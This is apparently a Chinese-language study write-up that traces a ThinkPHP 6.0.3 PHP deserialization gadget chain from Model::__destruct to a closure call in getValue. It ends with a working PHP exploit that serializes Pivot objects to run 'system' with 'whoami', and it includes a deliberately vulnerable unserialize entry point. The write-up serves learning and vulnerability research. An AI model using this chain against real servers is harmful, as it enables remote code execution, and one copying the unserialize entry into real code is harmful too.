前言
资料
之前一直想着出一起php反序列化的总结,这里面还挺多有趣的东西的,不过既然想起来一直没做TP框架这类框架的反序列化分析,即就先做这个吧~
学习php的框架反序列化要先明白很多概念
环境配置
1 2 3 4
| curl -sS https://getcomposer.org/installer | php sudo mv composer.phar /usr/local/bin/composer echo 'export PATH="$PATH:/usr/local/bin"' >> ~/.bashrc source ~/.bashrc
|
一定要配置的是composer2,才能拿到框架源码
composer create-project topthink/think=6.0.3 tp6.0
拿到源码
但是发现是6.1.4版本的,如何拿到6.0.3版本的呢?

修改后进行composer update,再适当调整php版本即可,比如我换成了7.4的版本

成功~
这边改一下config/app.py
'with_route' => false,
给一个反序列化入口
1 2 3 4 5 6
| public function hello($name = 'ThinkPHP6') { unserialize(base64_decode($name)); return $name; } `public/index.php/index/hello/name/{base64字符串}`即可
|
命名空间namesapce
认为,既是切换当前的命名空间,也是定义了一个新的命名空间(或子空间)
我们以如下代码为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php namespace animal\cat; class cat{ public function __construct() { echo "meow"."\n"; } } namespace animal\dogA; class dog{ public function __construct() { echo "A:wooffff"."\n"; } } namespace animal\dogB; class dog { public function __construct() { echo "B:wooffff"."\n"; } }
|
如果我们直接new dog
由于最后一个namesapce是animal\dogB
因此我们会回显”B:wooffff”
这个时候,如果我们想实例化其他命令空间的类
我们可以
1 2
| namespace animal\dogA; new dog();
|
进行切换,再实例化就是A了
或者,我们还可以引入,类似包含关系
即
1 2
| use animal\dogA; new dogA\dog();
|
当然我们可以弄一个别名
1 2
| use animal\dogA as dogdog; new dogdog\dog();
|
也是可以的
了解这个概念之后,就可以理解为啥php框架的反序列化链子满图找,而不是我们初学时候就在一个文件里
类的继承
这个就不多说了,利用extend关键字实现
子类可以继承父类的属性和方法,也可以覆盖父类的方法,也可以通过parent::关键字访问父类被覆盖的方法
trait修饰符
这个修饰符可以使得被修饰的类被复用,具体可见
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php trait test{ public function test(){ echo "test\n"; } }
class impl{ use test; public function __construct() { echo "impl\n"; }
} $t=new impl(); $t->test();
|
这里介绍一个tricks,如果A类里面复用了B类,而B类中又实现__toString魔术方法,echo A类时会走进B类的魔术方法里面,以后会有介绍
学习
正式进入代审的阶段了()
RCE点
给一个小demo
1 2 3 4 5
| <?php $a="system"; $b="whoami"; $c=""; $a($b,$c);
|
是可以成功执行的,对应到vendor\topthink\think-orm\src\model\concern\Attribute.php
的487行的getValue方法(去掉了不重要的地方)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected function getValue(string $name, $value, $relation = false) { $fieldName = $this->getRealFieldName($name); $method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); }
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); } }
|
关键找到了,现在如何从__destruct触发,到达这个地方,并且能够赋值成功呢?
链子
全局搜索__destruct
发现了一个Model类的析构函数
vendor\topthink\think-orm\src\Model.php
1 2 3 4 5 6
| public function __destruct() { if ($this->lazySave) { $this->save(); } }
|
进入Model::save
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function save(array $data = [], string $sequence = null): bool { $this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) { return false; }
$this->trigger('AfterWrite');
$this->origin = $this->data; $this->set = []; $this->lazySave = false;
return true; }
|
这里稍微停一下,倒着回溯一下
哪里调用了setValue方法呢?只有一处
Attribute::getAttr方法
1 2 3 4 5 6 7 8 9 10 11 12
| public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; }
return $this->getValue($name, $value, $relation); }
|
谁又调用了getAttr方法呢?
有两处
1 2 3 4 5 6 7 8
| vendor\topthink\think-orm\src\model\concern\Conversion.php appendAttrToArray getBindAttr toArray vendor\topthink\think-orm\src\Model.php __isset offsetGet __get
|
同时toArray->appendAttrToArray->getBindAttr
走这个类的话就直接看toArray方法
再看引用
发现Conversion::toJson
1 2 3 4
| public function toJson(int $options = JSON_UNESCAPED_UNICODE): string { return json_encode($this->toArray(), $options); }
|
再到__toString方法
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
毫无疑问分析到这里,我们可以凑够入口开始找了,哪一块进行了字符拼接呢?
继续开头的分析,我们走到了Model::save
全局搜索一下Model类下是否存在拼接操作
有两个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| protected function checkAllowFields(): array { if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable(); $this->field = $query->getConnection()->getTableFields($table); } return $this->field; } $field = $this->field; if ($this->autoWriteTimestamp) { array_push($field, $this->createTime, $this->updateTime); } if (!empty($this->disuse)) { $field = array_diff($field, $this->disuse); } return $field; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public function db($scope = []): Query { $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk); if (!empty($this->table)) { $query->table($this->table . $this->suffix); } $query->model($this) ->json($this->json, $this->jsonAssoc) ->setFieldType(array_merge($this->schema, $this->jsonType)); if (property_exists($this, 'withTrashed') && !$this->withTrashed) { $this->withNoTrashed($query); } if (is_array($scope)) { $globalScope = array_diff($this->globalScope, $scope); $query->scope($globalScope); } return $query; }
|
简单看了一下两个方法各自的引用,发现了好东西
db在checkAllowFields被调用,checkAllowFields在updateData被调用,updateData在save中被调用,至此成为一个循环,链子基调定了,能不能行再调调
1 2 3 4 5 6 7 8 9 10
| Model::__destruct-> Model::save-> Model::updateData-> Model::checkAllowFields-> Model::db-> Conversion::__toString-> Conversion::toJson-> Conversion::toArray-> Attribute::getAttr-> Attribute::getValue
|
前半段
save方法里面有一个判断
1 2 3 4
| if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
|
有三个点,exists属性比较好说,跟进一下isEmpty方法
1 2 3 4
| public function isEmpty(): bool { return empty($this->data); }
|
$this→data 可控,只要让 data[] 不为空,就会 false,过
跟进trigger方法

1 2 3
| if (!$this->withEvent) { return true; }
|
很好绕过了,withEvent属性可控
跟进updateData方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if (false === $this->trigger('BeforeUpdate')) { return false; } $this->checkData(); $data = $this->getChangedData(); if (empty($data)) { if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; } $allowFields = $this->checkAllowFields();
|
跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function getChangedData(): array { $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) { if ((empty($a) || empty($b)) && $a !== $b) { return 1; }
return is_object($a) || $a != $b ? 1 : 0; });
foreach ($this->readonly as $key => $field) { if (isset($data[$field])) { unset($data[$field]); } }
return $data; }
|
可以控制data和origin,即可控制a,b,即可返回data=1,即可绕过empty判断
在跟进函数checkAllowFields
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| protected function checkAllowFields(): array { if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table); }
return $this->field; }
$field = $this->field;
if ($this->autoWriteTimestamp) { array_push($field, $this->createTime, $this->updateTime); }
if (!empty($this->disuse)) { $field = array_diff($field, $this->disuse); }
return $field; }
|
只要两个参数$this->field
,$this->schema
为空即可走进db方法
$this->table . $this->suffix
存在字符拼接,可以跟进__toString方法
后半段
畅通无阻进入toArray方法
关键
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
|
注意$data
是什么
1
| $data = array_merge($this->data, $this->relation);
|
这里会对$data
进行遍历,取出其中的$key
默认情况下,会进入第二个 elseif 语句,从而将 $key 作为参数调用 getAttr() 方法
到这里要好好关注值的变化
跟进
1 2 3 4 5 6 7 8 9 10 11 12
| public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; }
return $this->getValue($name, $value, $relation); }
|
再跟进getData
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function getData(string $name = null) { if (is_null($name)) { return $this->data; }
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) { return $this->data[$fieldName]; } elseif (array_key_exists($fieldName, $this->relation)) { return $this->relation[$fieldName]; }
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
再跟进getRealFieldName
1 2 3 4
| protected function getRealFieldName(string $name): string { return $this->strict ? $name : Str::snake($name); }
|
此时 $fieldName
即为 $key
返回$this->data[$key]
1 2 3
| if (array_key_exists($fieldName, $this->data)) { return $this->data[$fieldName]; }
|
这里再满足第一个 if 条件,不满足第二三个 if 条件就可以利用 $value = $closure($value, $this->data); 进行命令执行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| protected function getValue(string $name, $value, $relation = false) { $fieldName = $this->getRealFieldName($name); $method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); }
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); } } }
|
fieldName 又等于name,朔源发现 name 等于 data 的键名。所以这里意思就是需要 $withAttr 和 $data 存在相同的键名
最后一个条件是&&,满足后面一个即可,即 $this->withAttr[$ fieldName]
不为数组,也就是该键对应的值不为数组,这个肯定满足,我们执行恶意命令需要其等于 system
即
1 2
| $this->withAttr = ["key" => "system"]; $this->data = ["key" => "whoami"];
|
这一步有点晦涩了()
多调一下吧也还好
exp分析
use model\concern\Conversion;
use model\concern\Attribute;
相当于合二为一了,学习一下exp的写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php namespace think\model\concern; trait Attribute//Attribute属于trait,被Model类use { private $data = ["evil_key" => "whoami"]; private $withAttr = ["evil_key" => "system"]; }
namespace think;
abstract class Model//是抽象类,需要找到一个继承它的子类 { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; } } namespace think\model; use think\Model; class Pivot extends Model { } $a = new Pivot(); $b = new Pivot($a);
echo urlencode(serialize($b));
|
因为源码中 Model引用了Conversion类,因此$a
中会有Conversion类的方法
在$b中经过一系列触发
直接触发进Conversion类的__toString方法
,在toArray方法里的$this->data
,正好属于$a
里的$data
完成剩下的rce()
还要注意。为什么是使用Pivot
因为我们使用的类必须是源码中存在的,继承于抽象类Model的子类,如
class Pivot extends Model
全局搜索你能发现,也只有这么一个符合要求的子类
结语
关于TP反序列化之前也看了,关键无法理解复杂的php反序列化,到现在可以理解了,也许是成长了?磨了一个下午,但到底是不成熟的,还需要不断沉淀